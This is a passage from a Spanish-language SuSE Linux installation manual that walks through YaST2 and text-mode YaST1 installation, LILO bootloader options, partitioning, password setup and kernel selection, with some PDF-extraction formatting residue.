instalación, no profundice demasiado en la || | |||||||| || | |||||||| ''jungla'' de aplicaciones ;-) || | ||||||||_______________________________________________________________________________________________________________||_ También existe `Software comercial'; en el cuadro de diálogo seleccione los paquetes de software correspondientes. Mediante la opción `Seleccionar determinados programas' hay ac- ceso directo a cada paquete de software. Seleccionando o quitando paquetes, YaST2 comprueba permanentemente si se cumplen todas las dependencias entre los mismos y propone la instalación de los paquetes que hacen falta para cumplir todas las dependencias. No debe haber dependencias sin re- solver para que el software pueda funcionar correctamente. * * 23 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Posibles problemas o YaST2 comprueba la existencia de suficiente espacio para todo el soft- ware seleccionado. Si no hay suficiente, sería preciso reducir la selección de software o preparar más particiones para SuSE Linux; para ello, siga la in- dicación `Atrás' hasta la pantalla `Selección del destino de instalación' (apartado 2.1.8 en la página 21Preparar el disco durosubsection.2.1.8). o Si se vuelve con `Atrás' desde una pantalla posterior a la actual, con el fin de modificar la selección de paquetes, los cambios realizados ante- riormente desaparecen. Considere esto, para no tener que perder mucho trabajo minucioso. 2.1.10 LILO ~ Gestor de arranque Es necesario preparar un mecanismo de arranque para que Linux pueda ini- ciarse. Para ello es preciso decidir en qué lugar del sistema se debe instalar el gestor de arranque LILO (ingl. LInux LOader) o qué otro concepto de arranque se debe utilizar (hay más información sobre este tema en el aparta- do 2.3 en la página 47¿Cómo se debe arrancar Linux?section.2.3 y en el capí- tulo 4 en la página 119Arrancar y gestor de arranquechapter.4). o Cuando SuSE Linux no encuentra ningún sistema operativo instalado en la computadora y si esto es correcto, todo resulta muy fácil y no hace falta nada más que pulsar `Siguiente'. o YaST2 ofrece la posibilidad segura de generar un disquete de arranque en los siguientes casos: ~ La distribución de particiones en el disco duro no permite arrancar (límite de 1024 cilindros). ~ Por tener una mezcla de discos SCSI y (E)IDE no es posible averiguar con toda seguridad la posibilidad de arrancar. Si YaST2 no llega a averiguar correctamente la situación o Usted quiere re- alizar otro tipo de arranque, seleccione `Otra configuración' para con- figurar el arranque manualmente . ~ Más adelante encuentra más información al respecto. LILO : Otra configuración de arranque YaST2 ofrece ahora cuatro posibilidades: `En C: (MBR del primer disco duro)' ~ LILO debe estar de todos modos en el + MBR (ingl. Master Boot Record), si SuSE Linux es el único sistema operativo de la computadora. LILO en el MBR también puede actuar como gestor de arranque para varios sistemas operativos. Solo opte por esa opción cuando esté seguro de que LILO es capaz de iniciar su sistema operativo ya instalado ~ nor- malmente este es el caso para DOS y Windows 95/98; ver apartado 4.7.1 en la página 135DOS/Windows 95/98 y Linuxsubsection.4.7.1. Si existen dudas al respecto es mejor seleccionar la opción `Crear un disco de arranque'. 24 __________________________________________________________________________________________________2.1.__¡Directo_al_éxito!__* *______________________ `Crear un disco de arranque' ~ Si la computadora debe ejecutar var- ios sistema operativos, existe la posibilidad de generar un disquete de arranque para SuSE Linux. De esta forma no se modifica el mecanismo de arranque actual y se puede arrancar la computadora en cualquier mo- mento desde este disquete. Para ir por el camino seguro es conveniente seleccionar esta opción. Advertencia: Más adelante es posible configurar el arranque con LILO en el MBR usando YaST (ver apartado 3.7.2 en la página 105Configuración del kernel y arranquesubsection.3.7.2, `Configurar LILO '). `No instalar LILO (otro gestor de arranque)' ~ Seleccionando esta opción es posible seguir con el gestor de arranque anterior, ya que no se modifica nada en el MBR (Master Boot Record); LILO se instala en la partición /boot. Sin embargo en este caso hay que intervenir para configurar de nuevo el gestor de arranque existente. Esta posibil- idad con Windows NT y Linux se explica en el apartado 4.7.2 en la página 136Windows NT y Linux en un disco durosubsection.4.7.2. `En otra partición' ~ Se selecciona para indicar una partición diferente por las razones expuestas en la opción anterior. Cuando haga falta, en el campo `Parámetros de arranque' se indican los ''parámetros de kernel''. Con estos se genera la línea append ; ver p. ej. en la página 131Otras opciones de configuración (Selección)Hfootnote.22 y en la página 360Parámetros de arranque generalessubsection.14.3.2. Con la opción linear los sectores de los discos duros no se referencian con direcciones físicas sino con direcciones lógicas; se usa pocas veces (ver en la página 129Otras opciones de configuración (Selección)Hfootnote.21). 2.1.11 Información de usuario Varios usuarios pueden trabajar simultáneamente usando SuSE Linux y cada usuario que quiera entrar al sistema tiene que identificarse primero. Este proceso de identificación se realiza mediante el "login:". Los datos que se introducen aquí (nombre y apellido, nombre de usuario y contraseña) sirven para esta identificación y para generar la ''cuenta de usuario''. Introduzca ahora nombre y apellido y el ''nombre de usuario'' tal como la contraseña, para la posterior identificación en SuSE Linux. Usando el botón `Sugerencia' es posible conseguir una propuesta au- tomática para el ''nombre de usuario'', generado a raíz del nombre y apellido (se puede modificar); también es posible introducir directamente un nombre a gusto propio. Hay que introducir una contraseña que se debe repetir para su comprobación. Vigile la diferenciación entre mayúsculas y minúsculas; la contraseña debe tener un mínimo de 5 caracteres y un máximo de 8. No se permiten caracteres acentuados, pero sí los caracteres especiales como p. ej. #,.; o cifras (0 hasta 9 ) están permitidas. Recuerde bien el ''nombre de usuario'' y la contraseña, ya que siempre los necesita para trabajar con SuSE Linux. Con el botón `Siguiente' se puede llegar a la próxima ventana que pide la contraseña del superusuario `root'. * * 25 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.1.12 Establecer contraseña de `root' Bajo Linux el usuario `root' tiene privilegios especiales; él puede p. ej. ini- ciar o terminar procesos del sistema, generar usuarios o borrarlos y modi- ficar ficheros importantes del sistema. También se le llama ''superusuario'' y cumple las tareas de un + Administrador de sistema. Para ello hay que introducir la contraseña del superusuario `root'; la regla es igual a la que existe para la contraseña de un usuario. ________________________________________________________________________________________________________* *________ | Recuerde bien la contraseña de `root' ya que posteriormente no hay * * |||| | * * ||| | ninguna posibilidad de consultarla. La contraseña se necesitará para todas * * ||| | las tareas administrativas del sistema. * * ||| |_______________________________________________________________________________________________________* *________|||_ Pulsando ahora `Siguiente' comienza la parte seria de la instalación. 2.1.13 Confirmación e inicio de la instalación Ahora se muestran todos los datos introducidos hasta este momento con la posibilidad de comprobarlos y ~ si fuera el caso ~ modificarlos, usando el botón `Atrás' que permite regresar hasta la primera pantalla. Si todo está bien y se pulsa `Siguiente' aparece una pregunta de compulsa (de color verde) para confirmar que realmente debe iniciar con los datos indicados: o Después de la confirmación con `Sí instalar', YaST2 comienza con la instalación del sistema. o Pulsando `No' se pueden controlar los datos nuevamente y en caso de necesidad modificarlos, llegando a la pantalla en cuestión con la opción `Atrás' También existe en este momento la posibilidad de cancelar completamente la instalación de SuSE Linux, posponiéndola para otro momento. En tal caso todas las indicaciones y ajustes hechos se pierden. Pulsando `Cancelar instalación' la computadora se detiene después de una confirmación y en este caso es seguro apagar o reinicializarla. Hasta este momento no se ha modificado nada en la computadora. Para ''expertos'' se ofrece la posibilidad de `Grabar configuración en disquete'. Con esta opción todos los ajustes se graban para poder usarlos de nuevo en posteriores instalaciones. Después de haberse decidido por `Sí instalar' se puede observar a YaST2 trabajando en la creación y el formateo de las particiones. Según la velocidad de la computadora y el tamaño del disco duro, esto necesita algún tiempo. En lo posible hay que evitar cancelar este proceso, ya que el disco duro podría pasar a un estado no definido. Después se leen los paquetes del CD 1 y se instala primero el sistema base de SuSE Linux; este sistema a base de pantallas de texto se inicia compul- sando con `Siguiente'. YaST2 continúa con la instalación y en caso de necesidad le pide los subsiguientes CDs. Si se usa `Cancelar' para parar la instalación, no se podrá usar el sistema correctamente! 26 __________________________________________________________________________________________________2.1.__¡Directo_al_éxito!__* *______________________ Según lo que haya indicado en las opciones del apartado 2.1.10 en la pági- na 24LILO ~ Gestor de arranquesubsection.2.1.10, YaST2 pide que se intro- duzca un disquete formateado para generar un disquete de arranque. ¡No use ninguno de los disquetes suministrados para ello! En caso de instalar LILO en el MBR, aparece un mensaje indicando el comando para recuperar el MBR original; debe anotar esta información. ¡Ahora SuSE Linux se ha instalado exitosamente en la computadora! De momento falta la preparación del entorno gráfico. Este paso no se requiere si solo está instalado el `Sistema mínimo', ya que éste está previsto para operar solo en modo texto. Ahora existe la primera oportunidad de probar SuSE Linux. 2.1.14 Preparación del entorno gráfico Para ofrecer un entorno gráfico desde el primer ''login'' al sistema, YaST2 trata de averiguar toda la información necesaria sobre el monitor y la tarjeta gráfica. En el caso que esto sea posible, se seleccionan unos valores razonables para la resolución de pantalla, la profundidad de color y la frecuencia de refresco; después aparece la pantalla de prueba. _______________________________________________________________________________________________________________________ |||||||| ¡Compruebe la configuración antes de compulsarla con ''Okay''! En caso || | |||||||| || | |||||||| de duda consulte la documentación sobre la tarjeta gráfica y el monitor. || | ||||||||_______________________________________________________________________________________________________________||_ En el caso que YaST2 no reconozca el monitor, seleccione en la lista el modelo usado. Si se trata de un modelo desconocido se deben introducir los datos manualmente o leerlos de un disquete de drivers; en todo caso consulte la documentación del monitor. ~ Cuando no se necesite instalar el entorno gráfico, hay que seleccionar `No configurar X11'. Finalmente es preciso configurar la profundidad de color y la resolución del monitor, que dependen del equipo en cuestión y del gusto propio. Como profundidad de color (`Cantidad de colores') se recomienda 16bpp . Posibles problemas o En pocas ocasiones será preciso configurar el + X-Server manualmente. Si fuese así el programa SaX se iniciaría; las instrucciones sobre su uso se encuentran en el apartado 8.1 en la página 238Configuración con SaX section.8.1. 2.1.15 Configurar hardware adicional Ya durante esta fase de instalación es posible configurar algunos componentes adicionales del sistema como p. ej. la impresora, la tarjeta de sonido, la red o el acceso Internet . ¡Si ya se le ha hecho un poco tarde, no hay ningún problema en posponer esta actividad para el día siguiente! * * 27 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.1.16 Primer ''login'' al sistema Ahora ha llegado el momento ~ puede entrar al sistema. Aparece el ''login'' gráfico (en concreto el gestor de pantalla kdm ) y este visualiza todos los usuarios dados de alta en el sistema. (figura 9.6 en la pági- na 268kdm ~ ''login'' gráficosubsection.9.2.2). Ahora no hace falta más que indicar su nombre de usuario por detrás de Login: y la contraseña para que KDE (el ''K Desktop Environment'') se inicie. Hay información sobre KDE en el apartado 9.2 en la página 266KDE ~ K Desktop Environmentsection.9.2 o en pantalla mediante el sistema de ayuda (kdehelp ). Trabajando en modo texto también se introduce el nombre de usuario por detrás de login: y después de introducir la contraseña aparece el + Prompt de Linux. 2.1.17 Configuraciones adicionales y trabajo con el sistema Para principiantes en materia de Linux, el capítulo 19 en la página 467In- troducción a Linuxchapter.19 del manual representa una buena fuente de información así como el anexo F en la página 523Las SuSE Linux- FAQappendix.F, que da respuesta a preguntas muy frecuentes. La bib- liografía (ver en la página 546Seguridad y servicios de mantenimiento localessection.H.3) menciona libros con una temática más avanzada; al- gunos de estos se presentan brevemente en http://www.suse.de/de/ produkte/buecher/. Además recomendamos familiarizarse con el YaST ''antiguo'' (capítulo 3 en la página 83YaST ~ Yet another Setup Toolchapter.3). o Los detalles sobre la configuración del entorno gráfico sistema X Window, se cubren en el capítulo 8 en la página 237El sistema X Windowchapter.8. La configuración del mismo con SaX se detalla en el apartado 8.1 en la página 238Configuración con SaX section.8.1. o La tarjeta de sonido es objeto de discusión en el apartado 10.3 en la página 290Tarjetas de sonidosection.10.3 ~ este capítulo describe ''Linux y el hardware adicional'' en general. o El capítulo 12 en la página 325Impresoraschapter.12 incluye una lista de las impresoras soportadas y explica su configuración. Para conocer la configuración fácil con YaST , consultar el apartado 3.7.1 en la pági- na 103Configurar impresorassubsection.3.7.1. o La configuración del acceso a internet se explica en el capítulo 5.3 en la página 171Configuración y usochapter.6. Para configurar un modem consulte el apartado 6.5 en la página 189Conexión de modemsection.6.5, y para RDSI el apartado 6.2 en la página 173Acceso a Internet vía RDSI ~ la configuraciónsection.6.2. o El capítulo 5 en la página 153Linux en la redchapter.5 expone las posibil- idades de configuración de una red. 28 __________________________________________________________________________________________________2.1.__¡Directo_al_éxito!_________* *_______________ _______________________________________________________________________________________________________________________ |||||||| Para acoplar una red interna con una conexión RDSI se requieren ||| | ||||||||| conocimientos avanzados sobre redes. Busque en libros especializados || || |||||||| ||| | |||||||| bajo las palabras clave ''Gateway'' (pasarela), ''Firewall'' (cortafuegos) o || | |||||||| ''Router'' (enrutador). || | ||||||||_______________________________________________________________________________________________________________||_ 29 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.2 Instalación con YaST en modo texto (YaST 1) Muchos caminos conducen a la instalación de Linux, pero algunos de ellos son más complicados que otros. Si Usted no es principiante en el tema de Linux tal vez le parecerán largas o innecesarias algunas explicaciones, pero recuerde simplemente aquellos tiempos cuando tenía su primera computadora y exprimía con gusto cualquier fuente de información. . . 2.2.1 La situación principal En el caso de SuSE Linux, está a disposición la herramienta de instalación YaST que le guía fielmente desde la preparación del disco duro, pasando por la instalación del software hasta la configuración de un login gráfico. En el ''caso normal'' se deben cumplir los siguientes requisitos: o Se puede arrancar la computadora desde el disquete de arranque (''Boot- disk'') incluido o bien, desde el CD 1 directamente. o El disco duro tiene espacio libre sin particionar y suficiente espacio para la instalación de Linux o, hay un disco suficientemente grande para el uso exclusivo con Linux. o El + CD-ROM se ve soportado por Linux. Si todavía no lo sabe, ¡no se asuste! Es posible averiguarlo. Si uno de estos requisitos no se cumple, existen alternativas para la instalación que se detallan a continuación de esta sección (apartado 2.4 en la página 49In- stalación sin soporte del lector CD-ROMsection.2.4). 2.2.2 A continuación: La pantalla de bienvenida Por favor ``abróchese el cinturón'' e inserte el CD 1 y/o el disquete de arranque en sus correspondientes dispositivos de lectura y encienda la computadora. Si ésta no quiere arrancar, tal vez sea necesario cambiar la secuencia de arranque en la + BIOS de la computadora a A,C o CDROM,C,A . Después de un breve instante aparece la pantalla de bienvenida (figura 2.1 en___ la página siguiente). Dentro de 3 segundos debe apretar un tecla (p. ej. |T____a|b), para que YaST2 no se inicie automáticamente._ Introduzca ahora manual en el prompt (boot: ) y pulse |_____-|: boot: manual |______|- A continuación aparecerán en la parte inferior de la pantalla los mensajes "Loading initdisk.gz..." y "Loading linux..."; después arranca el + Kernel y linuxrc se inicia esperando los órdenes del usuario (funciona a base de menús). Posibles problemas o Si un lector CDROM del tipo ATAPI llegara a ''trabarse'', consulte el apartado 2.7.5 en la página 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5. 30 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ Figura 2.1: La pantalla de bienvenida de SuSE Linux o El CD 1, que incorpora un kernel optimizado para Pentium, no se re- conoce como arrancable: Puede tratar de usar el CD 2 o el disquete de arranque (''Bootdisk''); ver apartado 2.6.2 en la página 59Arrancar con el CD 2subsection.2.6.2. o Con parámetros de kernel se puede resolver normalmente los demás prob- lemas de arrancar; ver apartado 14.3.2 en la página 360Parámetros del kernel en el Boot-Promptsubsection.14.3.2. 2.2.3 La base: linuxrc Con el programa linuxrc se cargan todos los drivers como módulos del ker- nel, en el caso que fuera necesario. Después linuxrc inicia el programa de instalación YaST y la verdadera instalación de los programas de sistema y de las aplicaciones comienza. El manejo de linuxrc_es muy_sencillo. Con |"__|y |#__|se selecciona una opción del menú y con |____|y |!___|un comando (p. ej. `Ok' o `Cancelar'). Pulsando _- |||||||||__los comandos se ejecutan. El apartado 16.3 en la página 417linuxrcsection.16.3 contiene una descrip- ción más detallada de linuxrc . Configuración general e incorporación del hardware El programa linuxrc comienza con la selección del idioma. El programa linuxrc comienza con la selección del idioma. o Seleccionar un idioma. o Seleccionar entre `Monitor Color' y `Monitor Monocromo' o Seleccionar la distribución del teclado. En este caso sería `Español'. Ahora nos encontramos en el menú principal de linuxrc (figura 2.3 en la página siguiente) en el cual se encuentran las siguientes opciones: * * 31 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Figura 2.2: Selección del idioma Figura 2.3: Menú principal de linuxrc `Configuraciones' ~ Aquí se puede modificar otra vez idioma, monitor o teclado. `Información de sistema' ~ Para los interesados aquí hay una multitud de información sobre el hardware. `Módulos del kernel (Driver)' ~ Es posible que se deba elegir este punto para cargar módulos adaptados al hardware. Caso normal: Por lo general no se necesita esta opción, porque si el (los) disco(s) duro(s) y el lector de CD (+ ATAPI) están conectados a una controladora (E)IDE, no es necesario cargar módulos especiales. Esto se explica por el hecho de que el soporte para (E)IDE está integrado en el kernel. 32 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ `Instalación / Inicio de sistema' ~ Pulsando aquí continúa la in- stalación . . . `Cancelación / Reboot' ~ Para el caso en que haya decidido aban- donar. . . Elegir la carga de módulos del kernel con `Módulos de kernel (Drivers)', en caso de necesitar soporte de tarjetas SCSI o PCMCIA (ver apartado 11.1.6 en la página 317Instalación vía PCMCIAsubsection.11.1.6) o, en caso de no tener un lector de CDs tipo ATAPI; la carga de módulos se explica en el apartado 16.3 en la página 417linuxrcsection.16.3. Seleccionar en el sigu- iente sub-menú la razón por la cual se cargan módulos (dicho de otra forma: para qué se deben cargar). Existen las siguientes posibilidades: ~ Un módulo SCSI ~ Para un disco duro tipo SCSI o un lector CD-ROM de este tipo . ~ Un módulo CD-ROM ~ si el lector CD-ROM no está conectado a la controladora (E)IDE ni a la controladora SCSI. ~ Un módulo de red ~ en el caso que se realice la instalación a través de NFS o FTP ~ lo cual no se trata en este apartado. _______________________________________________________________________________________________________________________|| |||||||| Si no se encuentra soporte para el medio de instalación usado (Tarjeta ||| | |||||||| || | |||||||| PCMCIA, tarjeta de red, lector CD-ROM en controladora propia o en || | |||||||| puerto paralelo) dentro de los módulos estándar, se puede recurrir a los || | |||||||| || | |||||||| drivers adicionales del disquete modules. Para ello diríjase al final de la || | |||||||| lista, seleccionando allí la opción `-- Otros módulos --'; linuxrc pide || | |||||||| || | |||||||| en este caso el disquete modules. || | ||||||||_______________________________________________________________________________________________________________||_ Iniciar la instalación Puesto que la opción `Iniciar la instalación_ / Sistema' ya está se- leccionada, solo hace falta pulsar |_____-|para comenzar con la verdadera insta- lación. Ahora aparecen las siguientes opciones: ~ `Comenzar la instalación' ~ Esto se llevará a cabo en un instante. ~ `Iniciar el sistema instalado' ~ Esta opción es útil cuan- do se presentan problemas con el arranque normal del sistema in- stalado. ~ `Iniciar sistema de rescate' ~ Cuando ha ocurrido un er- ror grave, esta opción brinda muchas posibilidades de arreglar el sistema instalado. No es disponible para sistemas Alpha ~ `Iniciar Live CD' ~ Se puede probar el sistema sin necesidad de copiarlo directamente en el disco duro; en cuanto al ''Live- CD'' ver el apartado 3.7.4 en la página 110Configurar sistema Livesubsection.3.7.4. * * 33 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Figura 2.4: Menú de instalación de linuxrc Para entrar al sub-menú de instalación se pulsa |______|-cuando la opción `Comenzar la instalación' está seleccionada. Solo hace falta selec- cionar el medio fuente o dejar la barra de desplazamiento sobre la preselec- ción `CD-ROM'. Figura 2.5: Selección del origen de los datos en linuxrc Pulse ahora |______|-, y seleccione YaST1 para comenzar con la instalación. El medio fuente de los datos es el CD-ROM, salvo que se haya seleccionado otro. Ahora se carga el + Entorno de instalación en un RAM-Disk y después de este proceso se pone en marcha el programa de instalación YaST . Posibles problemas En este punto de avance se pueden presentar los siguientes problemas: 34 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ ~ Linux no reconoce el adaptador SCSI instalado; use un kernel que in- corpore el correspondiente driver SCSI y genere un disquete de arranque como se explica en el apartado 2.6.3 en la página 59Crear un disquete de arranque bajo DOSsubsection.2.6.3 . ~ El lector CD-ROM ATAPI usado se traba leyendo datos: ver apartado 2.7.5 en la página 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5 y en términos más generales el apartado 2.7.13 en la página 67Problemas generales de hardwaresubsection.2.7.13. 2.2.4 Arrancar YaST YaST ofrece una pantalla de entrada con cuatro opciones (ver figura 2.6). Figura 2.6: Pantalla principal de YaST _______________________________________________________________________________________________________________________|| |||||||| Si se desea conocer YaST en más detalle o si se realizan tareas especiales ||| | |||||||| de mantenimiento de sistema, se recomienda consultar el capítulo sobre || | |||||||| || | |||||||| YaST (capítulo 3 en la página 83YaST ~ Yet another Setup Toolchapter.3 || | |||||||| en adelante.)! ~ Al comienzo del capítulo sobre YaST se encuentra tam- || | |||||||| || | |||||||| bién información sobre las funciones del teclado bajo YaST || | ||||||||_______________________________________________________________________________________________________________||_ `Nueva instalación de Linux' Si se trata de instalar un SuSE Linux nuevo. Justamente esto es lo que nos ocupará a continuación ;-) `Actualizar el sistema Linux instalado' La actualización de un SuSE Linux existente es tema del apartado 15.1 en la página 393Actual- ización de SuSE Linux section.15.1. `Instalación en modo experto' En el transcurso de este modo de in- stalación se tienen muchas posibilidades para intervenir. Solo se debe elegir este modo si se cuenta con suficiente experiencia en Linux y, si se conoce bien el orden de los pasos de instalación. ¡No se explicará el modo experto! `Cancelación - ninguna instalación' Si se ha decidido abandonar en el último momento. . . * * 35 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Seleccione ahora `Nueva instalación de Linux'. Antes de comenzar a particionar por cuenta propia, se recomienda consultar el apartado 2.8 en la página 70Particionar para principiantessection.2.8,que contiene mucha información adicional. 2.2.5 Particionar y formatear el disco duro YaST notifica ahora la existencia de un disco duro. Si hay alguna zona ''libre'', YaST lo notará y propondrá usar esta zona del disco para Linux ( `¿Utilizar zona libre?'). ________________________________________________________________________________________________________* *________|| | Si ya existe una partición de swap no activada ~ tal vez procedente de una * * |||| | instalación anterior ~ YaST se dará cuenta de ello y preguntará si se debe * * ||| | * * ||| | usar esa partición, para que pase a formar parte del sistema. * * ||| |_______________________________________________________________________________________________________* *________|||_ Para ajustar las particiones, proceda de la siguiente manera: `Particionar' ~ Para la primera instalación de SuSE Linux o para su cam- bio completo hay que elegir generalmente la opción `Particionar'. Es mejor no seleccionar `Configurar LVM', salvo que se sepa bien lo que es un Logical Volume Manager y que lo necesite. `SI' ~ Si se afirma, YaST procede a particionar automáticamente y entonces se puede continuar con el apartado 2.2.7 en la página 38Elección del software básicosubsection.2.2.7. `No' ~ Si se contesta negativamente (`No'), se puede empezar a particionar de manera interactiva. Figura 2.7: YaST ~ Particionar disco Si YaST no encuentra espacio libre, aparecerá la instrucción `Usar todo el disco _duro';_ en_esta_ventana_se ofrecen dos posibilidades (para recordar: ____ con |T____a|b, |____|o |!___|se puede posicionar el cursor, mientras que con |_____-|se ejecuta la selección): 36 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ `Particionar' ~ Usted mismo genera las particiones; es obligatorio elegir esta opción si se quiere seguir usando otro sistema operativo ya instalado, aparte de Linux. _______________________________________________________________________________________________________________________|| |||||||| Si se elige `Todo el disco', se perderán ¡todos los datos que estén en ||| | |||||||| este momento en el disco! || | ||||||||_______________________________________________________________________________________________________________||_ `Todo el disco' ~ YaST comienza ~ después de una confirmación de seguridad ''en rojo'' ~ a particionar y formatear por sí mismo el disco duro. Esta opción se usa solo en el caso de querer tener únicamente SuSE Linux en la computadora y de no querer ocuparse del tema de particionar. ¡Se borrarán los demás sistemas operativos eventualmente presentes! Para hacer las particiones, YaST sigue la siguiente estrategia: o genera una partición /boot (mínimo 2 MB o 1 cilindro), o una partición de swap (el doble de la cantidad de RAM pero no más de 128 MB) y o el resto como una gran partición, que se monta bajo `/' como parti- ción ''root'' (directorio raíz). Posibles problemas o Es posible que se presenten problemas cuando la computadora lea de nue- vo la partición. En este caso YaST mostrará un recuadro de advertencia de color rojo y pedirá el reinicio de la máquina. Proceda entonces a reiniciar la computadora y deje de particionar el disco la proxima vez que entre a YaST . o No hay suficiente espacio en el disco duro. El apartado 2.6.1 en la pági- na 57Hacer espacio para Linux (particionar)subsection.2.6.1 informa so- bre la posibilidad de usar el programa fips de DOS para hacer espacio. 2.2.6 Comenzar la instalación del software El disco duro está preparado ahora de tal manera que se debe decidir qué software instalar. Ahora tanga un poco de paciencia: Se deben leer los datos de las series y pa- quetes desde el medio de instalación (generalmente el CD). Después aparece el menú de instalación de YaST (ver figura 2.8 en la página siguiente). En caso de no querer seleccionar un conjunto de software especial (sino el que está previsto por defecto), es posible seguir directamente con la opción `Em- pezar Instalación' y saltar al apartado 2.2.8 en la página 39Instalación de softwaresubsection.2.2.8. o Para tomar una pre~selección de software (estándar, servidor, mínima, etc.), seleccione `Cargar configuración'; ver el siguiente aparta- do 2.2.7 en la página siguiente. Después de esta selección se encontrará de nuevo en el menú de instalación. * * 37 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Figura 2.8: YaST ~ Selección de paquetes o Ahora existe la posibilidad de seleccionar `Cambiar/Generar confi- guración'. Así se llega al submenú de la elección de series, que permite hacer un ajuste fino. Normalmente no se necesita, ya que la selección de paquetes ofrece un sistema completo. También se puede modificar o ampliar en cualquier momento esta selección ~ incluso cuando Linux ya se está ejecutando. El capítulo sobre YaST en apartado 3.5 en la página 96Escoger / Instalar paquetessection.3.5 contiene una amplia descripción de estos menús y de todas las opciones que contienen. 2.2.7 Elección del software básico Se puede entrar en esta plantilla de YaST (figura 2.9 en la página siguiente), después de haber seleccionado en el apartado 2.2.6 en la página anterior la opción `Cargar configuración'. Hemos preparado algunas configuraciones.__Se puede navegar por las distin-_________ tas opciones con la flechas |_"|y |_#|y seleccionarlas con |______________L|eertaste. Una equis (`X') dentro del recuadro de la configuración significa que ésta ha sido seleccionada para reemplazar o complementar los paquetes existentes. Un asterisco (`*') por detrás indica que se procederá a instalar esta configu- ración. Es posible que se instalen otras configuraciones junto con la config- uración seleccionada, ya que todas las configuraciones específicas forman un sub-conjunto por ejemplo de `SuSE Almost everything'. `Cargar' ~ Con esta opción se puede añadir la configuración seleccionada a los paquetes ya instalados. `Reemplazar' ~ Para reemplazar una configuración instalada por una nue- va. YaST pide una confirmación antes de suprimir los paquetes que no pertenecen a la nueva configuración. `Abortar' ~ Cancelar la selección. 38 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ Figura 2.9: YaST ~ Selección de configuraciones 2.2.8 Instalación de software Después de todos los preparativos llega el momento de ocupar el disco duro con el software más adecuado. o Iniciar la instalación con `Comenzar instalación'. YaST indica en la pantalla cuál paquete se está instalando en el momento y cuántos paquetes vendrán a continuación. o Según la configuración seleccionada se piden CDs adicionales. o Cuando todos los paquetes estén instalados, vuelva al menú principal eligiendo `Menú principal'. Posibles problemas o Si la computadora tiene ''poca'' memoria RAM (16 MB), al comienzo solo se podrá instalar desde el primer CD~ROM. En este caso se pedirán los demás CDs posteriormente (apartado 2.2.10 en la página 43Configuración básica con YaST subsection.2.2.10). o Si se presentan problemas durante la instalación del software, lo más probable es que estos se deban al hardware o al mal ajuste del mismo. En el caso de los sistemas SCSI, compruebe la longitud del cable y el terminador. Desconecte los dispositivos externos del bus, sobre todos los escáneres y pruebe también los parámetros del kernel; los más impor- tantes se encuentran en el apartado 14.3.1 en la página 359Anotación y significadosubsection.14.3.1. En el caso de trabajar con dispositivos ATAPI, consulte el apartado 2.7.5 en la página 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5. Ahora saque los disquetes y CD-ROMs de los dispositivos, ya que la com- putadora se iniciará por primera vez con el sistema instalado. Después YaST le guiará por la configuración básica del sistema. . . * * 39 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.2.9 Seleccionar kernel Se ha transferido el software básico al disco duro. Figura 2.10: YaST ~ Selección del kernel ; se instalará un + Kernel específico para el sistema y ~ a petición del usuario ~ también el gestor de arranque LILO : Seleccione ahora un kernel adecuado (figura 2.10); por ejemplo: Kernel o El `Standard kernel', sirve para la mayoría de los sistemas. o El `Kernel with SMP-Support' se selecciona para sistemas multi- procesador o El `Kernel with APM-Support' incluye soporte para ''Advanced Power Management'' (gestión avanzada del consumo). ________________________________________________________________________________________________________* *________|| | En caso de tener un procesador que no es 100% compatible con los * * |||| | Pentium de Intel, seleccione `Kernel built for i386 processors * * ||| | * * ||| | (use also for 486)'. Este kernel se requiere p. ej. para un Cyrix 686. * * ||| | En caso contrario es posible que resultan errores como "Kernel panic", * * ||| | * * ||| | ver http://sdb.suse.de/sdb/de/html/cyrix686.html. * * ||| |_______________________________________________________________________________________________________* *________|||_ YaST procede a copiar este kernel en /boot/vmlinuz y guarda el fichero de configuración del kernel en /boot y opcionalmente también como /usr/ src/linux/.config. Este fichero describe detalladamente el kernel instal- ado y los módulos adicionales. LILO Si está seguro de que los sistemas operativos (tal vez ya instalados) se pueden inicializar con LILO (ver figura 3.21 en la página 106`Configuración LILO 'subsection.3.7.2), afirme la pregunta con `Sí'. DOS y Windows 95/98 generalmente no presentan problemas, pero con Windows NT las cosas cam- bian a veces (ver apartado 4.7.2 en la página 136Windows NT y Linux en un disco durosubsection.4.7.2). 40 _____________________________________________________2.2.__Instalación_con_YaST__en_modo_texto_(YaST__1)____________________* *______________________ El capítulo sobre YaST (apartado 3.7.2 en la página 106`Configuración LILO 'subsection.3.7.2) le informa más detalladamente sobre la forma de pasar por estas plantillas. 2.2.10 Configuración básica con YaST Después de la selección del kernel le llega el turno a la configuración básica durante la cual se configuran algunos componentes del hardware y del soft- ware. Figura 2.11: YaST ~ Selección del huso horario o Ahora se puede elegir la zona de tiempo. Aparecerá una lista muy larga Zona de (ver figura 2.11) en la cual se puede elegir `CET' (ingl. Central European tiempo Time) si se encuentra en latitudes centro-europeas, p. ej. en España. El reloj de la computadora puede estar ajustado según la hora local o según Greenwich Mean Time (GMT). `GMT' es la opción por defecto; seleccione `Hora local', si la computadora muestra la hora local. o Ahora aparecen algunas instrucciones para la configuración de la red: Configuración ~ Nombre de la computadora y del dominio (ver figura 2.12 en la pági- de red na siguiente). Si no hay restricciones por parte del + Administrador de sistema o por parte del + ISP se puede desplegar toda la creativi- dad buscando un 